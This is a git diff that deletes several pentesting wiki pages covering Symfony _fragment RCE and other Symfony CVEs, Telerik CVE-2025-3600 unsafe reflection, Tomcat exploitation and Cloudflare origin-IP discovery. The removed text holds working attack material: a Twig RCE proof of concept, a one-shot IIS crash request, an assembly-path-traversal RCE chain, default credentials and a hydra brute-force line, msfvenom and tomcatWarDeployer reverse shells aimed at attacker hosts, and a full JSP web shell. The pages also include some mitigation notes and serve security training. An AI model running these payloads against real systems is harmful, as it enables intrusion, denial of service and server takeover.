-* **CVE-2019-18889** originally, but *still* appears on modern targets when debug is left enabled or `.env` is exposed.
-* Once you know the 32-char `APP_SECRET`, craft an HMAC token and abuse the internal `render()` controller to execute arbitrary Twig:
-  ```python
-  # PoC – requires the secret
-  import hmac, hashlib, requests, urllib.parse as u
-  secret = bytes.fromhex('deadbeef…')
-  payload = "{{['id']|filter('system')}}"   # RCE in Twig
-  query = {
-      'template': '@app/404.html.twig',
-      'filter': 'raw',
-      '_format': 'html',
-      '_locale': 'en',
-      'globals[cmd]': 'id'
-  }
-  qs = u.urlencode(query, doseq=True)
-  token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
-  r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
-  print(r.text)
-  ```
-* Excellent write-up & exploitation script: Ambionics blog (linked in References).
-
-### 2. PATH_INFO auth bypass – **CVE-2025-64500** (HttpFoundation)
-* Affects versions below 5.4.50, 6.4.29 and 7.3.7. Path normalization could drop the leading `/`, breaking access-control rules that assume `/admin` etc.
-* Quick test: `curl -H 'PATH_INFO: admin/secret' https://target/index.php` → if it reaches admin routes without auth, you found it.
-* Patch by upgrading `symfony/http-foundation` or the full framework to the fixed patch level.
-
-### 3. MSYS2/Git-Bash argument mangling – **CVE-2026-24739** (Process)
-* Affects versions below 5.4.51, 6.4.33, 7.3.11, 7.4.5 and 8.0.5 on Windows when PHP is run from MSYS2 (Git-Bash, mingw). `Process` fails to quote `=` leading to corrupted paths; destructive commands (`rmdir`, `del`) may target unintended dirs.
-* If you can upload a PHP script or influence Composer/CLI helpers that call `Process`, craft arguments with `=` (e.g. `E:/=tmp/delete`) to cause path re-write.
-
-### 4. Runtime env/argv injection – **CVE-2024-50340** (Runtime)
-* When `register_argv_argc=On` and using non-SAPI runtimes, crafted query strings could flip `APP_ENV`/`APP_DEBUG` via `argv` parsing. Patched in 5.4.46/6.4.14/7.1.7.
-* Look for `/?--env=prod` or similar being accepted in logs.
-
-### 5. URL validation / open redirect – **CVE-2024-50345** (HttpFoundation)
-* Special characters in the URI were not validated the same way browsers do, enabling redirect to attacker-controlled domains. Fixed in 5.4.46/6.4.14/7.1.7.
-
-### 6. Symfony UX attribute injection – **CVE-2025-47946**
-* `symfony/ux-twig-component` & `symfony/ux-live-component` before **2.25.1** render `{{ attributes }}` without escaping → attribute injection/XSS. If the app lets users define component attributes (admin CMS, email templating) you can chain to script injection.
-* Update both packages to 2.25.1+. As a manual exploit, place JS in an attribute value passed to a custom component and trigger rendering.
-
-### 7. Windows Process Hijack – **CVE-2024-51736** (Process)
-* The `Process` component searched the current working directory **before** `PATH` on Windows.  An attacker able to upload `tar.exe`, `cmd.exe`, etc. in a writable web-root and trigger `Process` (e.g. file extraction, PDF generation) gains command execution.
-* Patched in 5.4.50, 6.4.14, 7.1.7.
-
-### 8. Session-Fixation – **CVE-2023-46733**
-* Authentication guard reused an existing session ID after login.  If an attacker sets the cookie **before** the victim authenticates, they hijack the account post-login.
-
-### 9. Twig sandbox XSS – **CVE-2023-46734**
-* In applications that expose user-controlled templates (admin CMS, email builder) the `nl2br` filter could be abused to bypass the sandbox and inject JS.
-
-### 10. Symfony 1 gadget chains (still found in legacy apps)
-* `phpggc symfony/1 system id` produces a Phar payload that triggers RCE when an unserialize() happens on classes such as `sfNamespacedParameterHolder`.  Check file-upload endpoints and `phar://` wrappers.
-
-
-{{#ref}}
-../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
-{{#endref}}
-
----
-
-## Exploitation Cheat-Sheet
-
-### Calculate HMAC token for `/_fragment`
-```bash
-python - <<'PY'
-import sys, hmac, hashlib, urllib.parse as u
-secret = bytes.fromhex(sys.argv[1])
-qs     = u.quote_plus(sys.argv[2], safe='=&')
-print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
-PY deadbeef… "template=@App/evil&filter=raw&_format=html"
-```
-
-### Bruteforce weak `APP_SECRET`
-```bash
-cewl -d3 https://target -w words.txt
-symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
-```
-
-### RCE via exposed Symfony Console
-If `bin/console` is reachable through `php-fpm` or direct CLI upload:
-```bash
-php bin/console about        # confirm it works
-php bin/console cache:clear --no-warmup
-```
-Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.
-
-### Probe PATH_INFO bypass quickly (CVE-2025-64500)
-```bash
-curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
-# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
-```
-
-### Spray UX attribute injection (CVE-2025-47946)
-```twig
-{# attacker-controlled attribute value #}
-<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
-```
-If the rendered output echoes the attribute unescaped, XSS succeeds. Patch to 2.25.1+.
-
----
-
-## Defensive notes
-1. **Never deploy debug** (`APP_ENV=dev`, `APP_DEBUG=1`) to production; block `/app_dev.php`, `/_profiler`, `/_wdt` in the web-server config.
-2. Store secrets in env vars or `vault/secrets.local.php`, *never* in files accessible through the document-root.
-3. Enforce patch management – subscribe to Symfony security advisories and keep at least the LTS patch-level (5.4.x until Nov 2025, 6.4 until Nov 2027, 7.4 until Nov 2029).
-4. If you run on Windows, upgrade immediately to mitigate CVE-2024-51736 & CVE-2026-24739 or add a `open_basedir`/`disable_functions` defence-in-depth.
-
----
-
-### Useful offensive tooling
-* **ambionics/symfony-exploits** – secret-fragment RCE, debugger routes discovery.
-* **phpggc** – Ready-made gadget chains for Symfony 1 & 2.
-* **sf-encoder** – small helper to compute `_fragment` HMAC (Go implementation).
-
-
-
-## References
-* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
-* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
-* [Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components](https://symfony.com/blog/symfony-ux-cve-2025-47946-unsanitized-html-attribute-injection-via-componentattributes)
-* [Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash](https://symfony.com/blog/cve-2026-24739-incorrect-argument-escaping-under-msys2-git-bash-on-windows-can-lead-to-destructive-file-operations)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md b/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md
deleted file mode 100644
index 2dda39c1bcb..00000000000
--- a/src/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md
+++ /dev/null
@@ -1,257 +0,0 @@
-# Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
-
-## TL;DR
-
-- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
-- Primitive: Attacker controls a type name (prtype). The handler resolves it with Type.GetType() and invokes Activator.CreateInstance() before verifying interface type-safety. Any public parameterless .NET type constructor will run.
-- Impact:
-  - Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
-  - Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
-- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
-
-## Affected versions
-
-- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
-- Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.
-
-## Affected surface and quick discovery
-
-- Check exposure:
-  - GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
-  - Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
-  - Do not rely on finding Telerik strings on `/` or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
-- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=<AssemblyQualifiedType>.
-
-Example probe and generic trigger:
-
-```http
-GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
-```
-
-Notes
-- Some PoCs use dtype; the implementation checks dkey=="1" for the download flow.
-- prtype must be assembly-qualified or resolvable in the current AppDomain.
-
-Useful code/ops checks
-
-```xml
-<!-- system.web -->
-<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
-
-<!-- system.webServer -->
-<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
-```
-
-```bash
-rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
-curl -skI https://target/Telerik.Web.UI.WebResource.axd
-curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
-```
-
-## Fast version triage on legacy installs
-
-If the same application also exposes the legacy `type=rau` handler, older Telerik tooling can still help you fingerprint the shared `Telerik.Web.UI.dll` version before attempting `type=iec` research. This does **not** exploit CVE-2025-3600 directly; it only reuses the fact that `rau` and `iec` live in the same assembly.
-
-Practical use:
-
-- If `type=rau` is reachable, use the classic major-version brute force from older RAU tooling to recover the exact `Telerik.Web.UI` assembly version.
-- Compare the recovered version against the vulnerable range (`2011.2.712` to `2025.1.218`) and the fixed build (`2025.1.416+`).
-- Treat `type=rau` absence as inconclusive. `iec` may still be exposed even when `rau` is disabled or filtered.
-
-Example with the legacy `CVE-2019-18935.py` helper:
-
-```bash
-for YEAR in $(seq 2011 2025); do
-  echo -n "$YEAR: "
-  python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-    -u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
-    grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
-done
-```
-
-Why this helps:
-
-- Enterprise apps often bundle stale Telerik builds for years.
-- Red teams can quickly distinguish "handler exposed" from "likely still on a vulnerable DLL".
-- During incident response, the same trick helps scope large IIS fleets when filesystem access is not immediately available.
-
-## Root cause – unsafe reflection in ImageEditorCacheHandler
-
-The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails.
-
-<details>
-<summary>Relevant decompiled flow</summary>
-
-```csharp
-// entrypoint
-public void ProcessRequest(HttpContext context)
-{
-    string text = context.Request["dkey"];           // dkey
-    string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
-    ...
-    if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
-    {
-        ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
-        string key = context.Request["key"];
-        if (text == "1" && !this.IsValidDownloadKey(text2))
-        {
-            this.CompleteAsBadRequest(context.ApplicationInstance);
-            return; // cast/check happens after ctor has already run
-        }
-        using (EditableImage editableImage = imageProvider.Retrieve(key))
-        {
-            this.SendImage(editableImage, context, text, fileName);
-        }
-    }
-}
-
-private ICacheImageProvider GetImageProvider(HttpContext context)
-{
-    if (!string.IsNullOrEmpty(context.Request["prtype"]))
-    {
-        return RadImageEditor.InitCacheImageProvider(
-            RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
-        );
-    }
-    ...
-}
-
-public static Type GetICacheImageProviderType(string imageProviderTypeName)
-{
-    return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
-        typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
-}
-
-protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
-{
-    // unsafe: construct before enforcing interface type-safety
-    return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
-}
-```
-</details>
-
-Exploit primitive: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Even if the request is rejected afterwards, gadget side‑effects already occurred.
-
-## Universal DoS gadget (no app-specific gadgets required)
-
-Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation.
-
-One‑shot DoS request:
-
-```http
-GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
-```
-
-Notes
-- Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.
-
-## From DoS to RCE – escalation patterns
-
-Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:
-
-1) Parameterless constructors that process attacker input
-- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
-- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
-
-2) Constructors that touch files
-- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
-
-3) Constructors performing app-specific ops
-- Resetting state, toggling modules, or terminating processes.
-
-4) Constructors/static ctors that register AppDomain event handlers
-- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
-
-5) Forcing AssemblyResolve via Type.GetType
-- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
-
-```
-This.Class.Does.Not.Exist, watchTowr
-```
-
-6) Finalizers with destructive side effects
-- Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments.
-
-## Example pre‑auth RCE chain (Sitecore XP)
-
-- Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
-- Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
-- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.
-
-Trigger examples
-
-```http
-# Load the insecure resolver (no auth on many setups)
-GET /-/xaml/Sitecore.Shell.Xaml.WebControl
-
-# Coerce the resolver via Telerik unsafe reflection
-GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
-```
-
-## Validation, hunting and DFIR notes
-
-- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
-- Hunt in telemetry:
-  - Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
-  - Failed type loads and AppDomain.AssemblyResolve events.
-  - Sudden w3wp.exe crashes/recycles following such requests.
-
-## Mitigation
-
-- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
-- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
-- Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation).
-- Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
-- Constrain upload/write locations and prevent DLL drops into probed directories.
-- Monitor for non-existent type load attempts to catch resolver abuse.
-
-## Cheat‑sheet
-
-- Presence check:
-  - GET /Telerik.Web.UI.WebResource.axd
-  - Look for handler mapping in web.config
-- Exploit skeleton:
-
-```http
-GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
-```
-
-- Universal DoS:
-
-```http
-...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
-```
-
-- Trigger resolver:
-
-```
-This.Class.Does.Not.Exist, watchTowr
-```
-
-## Related techniques
-
-- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
-
-{{#ref}}
-iis-internet-information-services.md
-{{#endref}}
-
-- ASP.NET ViewState deserialization and machineKey abuses:
-
-{{#ref}}
-../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
-{{#endref}}
-
-## References
-
-- [Progress Telerik – Unsafe Reflection Vulnerability (3600)](https://www.telerik.com/products/aspnet-ajax/documentation/knowledge-base/kb-security-unsafe-reflection-cve-2025-3600)
-- [watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)](https://labs.watchtowr.com/more-than-dos-progress-telerik-ui-for-asp-net-ajax-unsafe-reflection-cve-2025-3600/)
-- [Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background](https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf)
-- [ZDI – Abusing arbitrary file deletes to escalate privilege](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
-- [watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md
deleted file mode 100644
index 674083296a7..00000000000
--- a/src/network-services-pentesting/pentesting-web/tomcat/README.md
+++ /dev/null
@@ -1,269 +0,0 @@
-# Tomcat
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Discovery
-
-- It usually runs on **port 8080**
-- **Common Tomcat error:**
-
-<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
-
-## Enumeration
-
-### **Version Identification**
-
-To find the version of Apache Tomcat, a simple command can be executed:
-
-```bash
-curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
-```
-
-This will search for the term "Tomcat" in the documentation index page, revealing the version in the title tag of the HTML response.
-
-### **Manager Files Location**
-
-Identifying the exact locations of **`/manager`** and **`/host-manager`** directories is crucial as their names might be altered. A brute-force search is recommended to locate these pages.
-
-### **Username Enumeration**
-
-For Tomcat versions older than 6, it's possible to enumerate usernames through:
-
-```bash
-msf> use auxiliary/scanner/http/tomcat_enum
-```
-
-### **Default Credentials**
-
-The **`/manager/html`** directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:
-
-- admin:admin
-- tomcat:tomcat
-- admin:
-- admin:s3cr3t
-- tomcat:s3cr3t
-- admin:tomcat
-
-These credentials can be tested using:
-
-```bash
-msf> use auxiliary/scanner/http/tomcat_mgr_login
-```
-
-Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.
-
-### **Brute Force Attack**
-
-To attempt a brute force attack on the manager directory, one can use:
-
-```bash
-hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
-```
-
-Along with setting various parameters in Metasploit to target a specific host.
-
-## Common Vulnerabilities
-
-### **Password Backtrace Disclosure**
-
-Accessing `/auth.jsp` may reveal the password in a backtrace under fortunate circumstances.
-
-### **Double URL Encoding**
-
-The CVE-2007-1860 vulnerability in `mod_jk` allows for double URL encoding path traversal, enabling unauthorized access to the management interface via a specially crafted URL.
-
-In order to access to the management web of the Tomcat go to: `pathTomcat/%252E%252E/manager/html`
-
-### /examples
-
-Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
-
-- /examples/jsp/num/numguess.jsp
-- /examples/jsp/dates/date.jsp
-- /examples/jsp/snp/snoop.jsp
-- /examples/jsp/error/error.html
-- /examples/jsp/sessions/carts.html
-- /examples/jsp/checkbox/check.html
-- /examples/jsp/colors/colors.html
-- /examples/jsp/cal/login.html
-- /examples/jsp/include/include.jsp
-- /examples/jsp/forward/forward.jsp
-- /examples/jsp/plugin/plugin.jsp
-- /examples/jsp/jsptoserv/jsptoservlet.jsp
-- /examples/jsp/simpletag/foo.jsp
-- /examples/jsp/mail/sendmail.jsp
-- /examples/servlet/HelloWorldExample
-- /examples/servlet/RequestInfoExample
-- /examples/servlet/RequestHeaderExample
-- /examples/servlet/RequestParamExample
-- /examples/servlet/CookieExample
-- /examples/servlet/JndiServlet
-- /examples/servlet/SessionExample
-- /tomcat-docs/appdev/sample/web/hello.jsp
-
-### **Path Traversal Exploit**
-
-In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
-
-So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
-
-**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
-
-## RCE
-
-Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
-
-### Limitations
-
-You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](#post)section).
-
-```bash
-# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
-
-# deploy under "path" context path
-curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
-
-# undeploy
-curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
-```
-
-### Metasploit
-
-```bash
-use exploit/multi/http/tomcat_mgr_upload
-msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
-msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
-msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
-msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
-msf exploit(multi/http/tomcat_mgr_upload) > exploit
-```
-
-### MSFVenom Reverse Shell
-
-1. Create the war to deploy:
-
-```bash
-msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
-```
-
-2. Upload the `revshell.war` file and access to it (`/revshell/`):
-
-### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
-
-In some scenarios this doesn't work (for example old versions of sun)
-
-#### Download
-
-```bash
-git clone https://github.com/mgeeky/tomcatWarDeployer.git
-```
-
-#### Reverse shell
-
-```bash
-./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
-```
-
-#### Bind shell
-
-```bash
-./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
-```
-
-### Using [Culsterd](https://github.com/hatRiot/clusterd)
-
-```bash
-clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
-```
-
-### Manual method - Web shell
-
-Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
-
-```java
-<FORM METHOD=GET ACTION='index.jsp'>
-<INPUT name='cmd' type=text>
-<INPUT type=submit value='Run'>
-</FORM>
-<%@ page import="java.io.*" %>
-<%
-   String cmd = request.getParameter("cmd");
-   String output = "";
-   if(cmd != null) {
-      String s = null;
-      try {
-         Process p = Runtime.getRuntime().exec(cmd,null,null);
-         BufferedReader sI = new BufferedReader(new
-InputStreamReader(p.getInputStream()));
-         while((s = sI.readLine()) != null) { output += s+"</br>"; }
-      }  catch(IOException e) {   e.printStackTrace();   }
-   }
-%>
-<pre><%=output %></pre>
-```
-
-```bash
-mkdir webshell
-cp index.jsp webshell
-cd webshell
-jar -cvf ../webshell.war *
-webshell.war is created
-# Upload it
-```
-
-You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
-
-### Manual Method 2
-
-Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
-
-```bash
-wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
-zip -r backup.war cmd.jsp
-# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
-# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
-```
-
-## POST
-
-Name of Tomcat credentials file is `tomcat-users.xml` and this file indicates the role of the user inside tomcat.
-
-```bash
-find / -name tomcat-users.xml 2>/dev/null
-```
-
-Example:
-
-```xml
-[...]
-<!--
-  By default, no user is included in the "manager-gui" role required
-  to operate the "/manager/html" web application.  If you wish to use this app,
-  you must define such a user - the username and password are arbitrary.
-
-  Built-in Tomcat manager roles:
-    - manager-gui    - allows access to the HTML GUI and the status pages
-    - manager-script - allows access to the HTTP API and the status pages
-    - manager-jmx    - allows access to the JMX proxy and the status pages
-    - manager-status - allows access to the status pages only
--->
-[...]
-<role rolename="manager-gui" />
-<user username="tomcat" password="tomcat" roles="manager-gui" />
-<role rolename="admin-gui" />
-<user username="admin" password="admin" roles="manager-gui,admin-gui" />
-```
-
-## Other tomcat scanning tools
-
-- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
-
-## References
-
-- [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
-- [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
deleted file mode 100644
index 7169490d2e0..00000000000
--- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
+++ /dev/null
@@ -1,196 +0,0 @@
-# Uncovering CloudFlare
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Common Techniques to Uncover Cloudflare
-
-- You can use some service that gives you the **historical DNS records** of the domain. Maybe the web page is running on an IP address used before.
-  - Same could be achieve **checking historical SSL certificates** that could be pointing to the origin IP address.
-  - Check also **DNS records of other subdomains pointing directly to IPs**, as it's possible that other subdomains are pointing to the same server (maybe to offer FTP, mail or any other service).
-  - Review all **DNS-only `A`/`AAAA`/`CNAME` siblings** and boring records such as `direct`, `origin`, `api`, `admin`, `cpanel`, `autodiscover`, `mail`, `mx`, `staging`, or forgotten IPv6-only hostnames. A single unproxied record is enough to leak the box.
-- Audit **DNS-only TXT/SPF/MX** data and the **mail infrastructure**. If web and mail share the same machine, bounces for invalid users, SMTP banners, or `Received` headers can reveal the real IP address.
-- If you find a **SSRF inside the web application** you can abuse it to obtain the IP address of the server.
-- Search a unique string of the web page in browsers such as shodan (and maybe google and similar?). Maybe you can find an IP address with that content.
-  - In a similar way instead of looking for a uniq string you could search for the favicon icon with the tool: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) or with [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
-  - This won't work be very frequently because the server must send the same response when it's accessed by the IP address, but you never know.
-- When you collect candidate IPs, **validate them** before trusting the first hit:
-  - Send the right **Host header and SNI** (`curl --resolve`, `openssl s_client -servername ...`).
-  - Compare **status code, title, favicon hash, body hash, headers and error pages**.
-  - A direct-origin response usually **won't expose** Cloudflare-specific behavior such as `cf-ray`, `cf-cache-status`, or `/cdn-cgi/trace`.
-  - Compare the **TLS certificate SANs**, web server banner, and optional **JA3/JARM** style fingerprints to eliminate shared-hosting false positives.
-- If the target uses **Cloudflare Tunnel** or is **originless** (for example, Workers/Pages acting as the origin), origin-IP hunting may be a dead end and you should pivot to alternate hostnames or application-layer bugs.
-
-For more recon pivots around favicon hashes, CT logs, passive DNS and related-domain discovery:
-
-{{#ref}}
-../../generic-methodologies-and-resources/external-recon-methodology/README.md
-{{#endref}}
-
-## Tools to uncover Cloudflare
-
-- Search for the domain inside [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) or [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Or use the tool [CloudPeler](https://github.com/zidansec/CloudPeler) (which uses that API)
-- Search for the domain in [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
-- [**CF-Hero**](https://github.com/musana/CF-Hero) is a comprehensive reconnaissance tool that combines current DNS, historical DNS, Shodan, Censys, ZoomEye and SecurityTrails, and can validate candidates with response matching to reduce false positives.
-- [**CloudFlair**](https://github.com/christophetd/CloudFlair) searches Censys certificates containing the target name, extracts candidate IPv4 hosts and compares their responses. Note that, as of late 2024, free Censys accounts no longer expose the API access CloudFlair expected.
-- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare and other alternatives, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield.
